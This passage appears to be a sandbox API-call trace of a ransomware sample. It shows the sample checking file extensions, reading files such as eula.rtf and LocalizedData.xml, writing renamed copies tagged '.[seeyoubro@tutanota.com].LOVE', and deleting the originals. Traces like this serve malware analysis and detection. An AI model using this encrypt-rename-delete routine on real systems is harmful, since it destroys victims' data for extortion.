[0195.775] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0195.775] lstrlenW (lpString=".zip") returned 4 [0195.775] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0195.775] lstrlenW (lpString=".rar") returned 4 [0195.775] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0195.775] lstrlenW (lpString=".bz2") returned 4 [0195.775] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0195.775] lstrlenW (lpString=".7z") returned 3 [0195.775] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0195.775] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0195.776] lstrlenW (lpString=".dbf") returned 4 [0195.776] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0195.776] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0195.776] lstrlenW (lpString=".1cd") returned 4 [0195.776] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0195.776] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0195.776] lstrlenW (lpString=".jpg") returned 4 [0195.776] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0195.776] lstrcmpiW (lpString1=".rtf", lpString2=".LOVE") returned 1 [0195.776] lstrlenW (lpString="eula.rtf") returned 8 [0195.776] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0195.776] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=3702) returned 1 [0195.776] CloseHandle (hObject=0x2dc) returned 1 [0195.776] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 0x80 [0195.776] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.777] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0195.777] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.777] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.777] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0195.777] GetLastError () returned 0x0 [0195.777] ReadFile (in: hFile=0x2dc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xe76, lpOverlapped=0x0) returned 1 [0195.807] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xe80, lpOverlapped=0x0) returned 1 [0195.809] ReadFile (in: hFile=0x2dc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.809] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xe4, lpOverlapped=0x0) returned 1 [0195.809] SetEndOfFile (hFile=0x2d8) returned 1 [0195.809] CloseHandle (hObject=0x2d8) returned 1 [0195.810] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.810] SetEndOfFile (hFile=0x2dc) returned 1 [0195.811] CloseHandle (hObject=0x2dc) returned 1 [0195.811] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.811] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 1 [0195.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0195.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0195.811] lstrlenW (lpString=".doc") returned 4 [0195.811] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0195.812] lstrlenW (lpString=".docx") returned 5 [0195.812] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0195.812] lstrlenW (lpString=".pdf") returned 4 [0195.812] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0195.812] lstrlenW (lpString=".xls") returned 4 [0195.812] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0195.812] lstrlenW (lpString=".xlsx") returned 5 [0195.812] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0195.812] lstrlenW (lpString=".ppt") returned 4 [0195.812] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0195.812] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0195.812] lstrlenW (lpString=".zip") returned 4 [0195.812] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0195.812] lstrlenW (lpString=".rar") returned 4 [0195.812] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0195.812] lstrlenW (lpString=".bz2") returned 4 [0195.812] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0195.812] lstrlenW (lpString=".7z") returned 3 [0195.812] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0195.812] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0195.812] lstrlenW (lpString=".dbf") returned 4 [0195.812] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0195.812] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0195.812] lstrlenW (lpString=".1cd") returned 4 [0195.812] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0195.812] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0195.813] lstrlenW (lpString=".jpg") returned 4 [0195.813] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0195.813] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0195.813] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0195.813] lstrlenW (lpString=".doc") returned 4 [0195.813] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0195.813] lstrlenW (lpString=".docx") returned 5 [0195.813] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0195.813] lstrlenW (lpString=".pdf") returned 4 [0195.813] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0195.813] lstrlenW (lpString=".xls") returned 4 [0195.813] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0195.813] lstrlenW (lpString=".xlsx") returned 5 [0195.813] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0195.813] lstrlenW (lpString=".ppt") returned 4 [0195.813] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0195.813] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0195.813] lstrlenW (lpString=".zip") returned 4 [0195.813] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0195.813] lstrlenW (lpString=".rar") returned 4 [0195.813] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0195.813] lstrlenW (lpString=".bz2") returned 4 [0195.813] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0195.813] lstrlenW (lpString=".7z") returned 3 [0195.813] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0195.813] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0195.813] lstrlenW (lpString=".dbf") returned 4 [0195.813] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0195.814] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0195.814] lstrlenW (lpString=".1cd") returned 4 [0195.814] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0195.814] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0195.814] lstrlenW (lpString=".jpg") returned 4 [0195.814] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0195.814] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0195.814] lstrlenW (lpString="LocalizedData.xml") returned 17 [0195.814] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0195.814] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=77022) returned 1 [0195.814] CloseHandle (hObject=0x2dc) returned 1 [0195.814] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 0x80 [0195.814] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.814] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0195.815] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.815] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.815] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0195.815] GetLastError () returned 0x0 [0195.815] ReadFile (in: hFile=0x2dc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x12cde, lpOverlapped=0x0) returned 1 [0195.847] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x12ce0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x12ce0, lpOverlapped=0x0) returned 1 [0195.849] ReadFile (in: hFile=0x2dc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.849] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xf6, lpOverlapped=0x0) returned 1 [0195.849] SetEndOfFile (hFile=0x2d8) returned 1 [0195.849] CloseHandle (hObject=0x2d8) returned 1 [0195.851] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.851] SetEndOfFile (hFile=0x2dc) returned 1 [0195.853] CloseHandle (hObject=0x2dc) returned 1 [0195.853] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.853] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 1 [0195.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0195.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0195.853] lstrlenW (lpString=".doc") returned 4 [0195.853] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0195.854] lstrlenW (lpString=".docx") returned 5 [0195.854] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0195.854] lstrlenW (lpString=".pdf") returned 4 [0195.854] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0195.854] lstrlenW (lpString=".xls") returned 4 [0195.854] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0195.854] lstrlenW (lpString=".xlsx") returned 5 [0195.854] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0195.854] lstrlenW (lpString=".ppt") returned 4 [0195.854] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0195.854] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0195.854] lstrlenW (lpString=".zip") returned 4 [0195.854] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0195.854] lstrlenW (lpString=".rar") returned 4 [0195.854] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0195.854] lstrlenW (lpString=".bz2") returned 4 [0195.854] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0195.854] lstrlenW (lpString=".7z") returned 3 [0195.854] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0195.854] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0195.854] lstrlenW (lpString=".dbf") returned 4 [0195.854] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0195.854] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0195.854] lstrlenW (lpString=".1cd") returned 4 [0195.854] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0195.854] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0195.854] lstrlenW (lpString=".jpg") returned 4 [0195.854] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0195.854] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0195.854] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0195.855] lstrlenW (lpString=".doc") returned 4 [0195.855] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0195.855] lstrlenW (lpString=".docx") returned 5 [0195.855] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0195.855] lstrlenW (lpString=".pdf") returned 4 [0195.855] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0195.855] lstrlenW (lpString=".xls") returned 4 [0195.855] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0195.855] lstrlenW (lpString=".xlsx") returned 5 [0195.855] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0195.855] lstrlenW (lpString=".ppt") returned 4 [0195.855] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0195.855] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0195.855] lstrlenW (lpString=".zip") returned 4 [0195.855] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0195.855] lstrlenW (lpString=".rar") returned 4 [0195.855] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0195.855] lstrlenW (lpString=".bz2") returned 4 [0195.855] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0195.855] lstrlenW (lpString=".7z") returned 3 [0195.855] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0195.855] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0195.855] lstrlenW (lpString=".dbf") returned 4 [0195.855] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0195.855] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0195.855] lstrlenW (lpString=".1cd") returned 4 [0195.855] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0195.855] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0195.855] lstrlenW (lpString=".jpg") returned 4 [0195.855] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0195.856] lstrcmpiW (lpString1=".rtf", lpString2=".LOVE") returned 1 [0195.856] lstrlenW (lpString="eula.rtf") returned 8 [0195.856] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0195.856] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=3526) returned 1 [0195.856] CloseHandle (hObject=0x2dc) returned 1 [0195.856] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 0x80 [0195.856] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.856] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0195.856] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.856] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.856] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0195.857] GetLastError () returned 0x0 [0195.857] ReadFile (in: hFile=0x2dc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xdc6, lpOverlapped=0x0) returned 1 [0195.867] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xdd0, lpOverlapped=0x0) returned 1 [0195.868] ReadFile (in: hFile=0x2dc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.868] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xe4, lpOverlapped=0x0) returned 1 [0195.868] SetEndOfFile (hFile=0x2d8) returned 1 [0195.868] CloseHandle (hObject=0x2d8) returned 1 [0195.869] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.869] SetEndOfFile (hFile=0x2dc) returned 1 [0195.869] CloseHandle (hObject=0x2dc) returned 1 [0195.869] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.869] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 1 [0195.870] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0195.870] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0195.870] lstrlenW (lpString=".doc") returned 4 [0195.870] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0195.870] lstrlenW (lpString=".docx") returned 5 [0195.870] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0195.870] lstrlenW (lpString=".pdf") returned 4 [0195.870] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0195.870] lstrlenW (lpString=".xls") returned 4 [0195.870] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0195.870] lstrlenW (lpString=".xlsx") returned 5 [0195.870] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0195.870] lstrlenW (lpString=".ppt") returned 4 [0195.870] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0195.870] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0195.870] lstrlenW (lpString=".zip") returned 4 [0195.870] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0195.870] lstrlenW (lpString=".rar") returned 4 [0195.870] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0195.870] lstrlenW (lpString=".bz2") returned 4 [0195.870] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0195.870] lstrlenW (lpString=".7z") returned 3 [0195.870] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0195.870] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0195.870] lstrlenW (lpString=".dbf") returned 4 [0195.871] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0195.871] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0195.871] lstrlenW (lpString=".1cd") returned 4 [0195.871] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0195.871] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0195.871] lstrlenW (lpString=".jpg") returned 4 [0195.871] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0195.871] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0195.871] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0195.871] lstrlenW (lpString=".doc") returned 4 [0195.871] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0195.871] lstrlenW (lpString=".docx") returned 5 [0195.871] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0195.871] lstrlenW (lpString=".pdf") returned 4 [0195.871] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0195.871] lstrlenW (lpString=".xls") returned 4 [0195.871] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0195.871] lstrlenW (lpString=".xlsx") returned 5 [0195.871] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0195.871] lstrlenW (lpString=".ppt") returned 4 [0195.871] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0195.871] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0195.871] lstrlenW (lpString=".zip") returned 4 [0195.871] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0195.871] lstrlenW (lpString=".rar") returned 4 [0195.871] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0195.871] lstrlenW (lpString=".bz2") returned 4 [0195.871] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0195.871] lstrlenW (lpString=".7z") returned 3 [0195.871] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0195.872] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0195.872] lstrlenW (lpString=".dbf") returned 4 [0195.872] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0195.872] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0195.872] lstrlenW (lpString=".1cd") returned 4 [0195.872] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0195.872] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0195.872] lstrlenW (lpString=".jpg") returned 4 [0195.872] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0195.872] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0195.872] lstrlenW (lpString="LocalizedData.xml") returned 17 [0195.872] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0195.872] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=82962) returned 1 [0195.872] CloseHandle (hObject=0x2dc) returned 1 [0195.872] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 0x80 [0195.872] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.873] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0195.873] 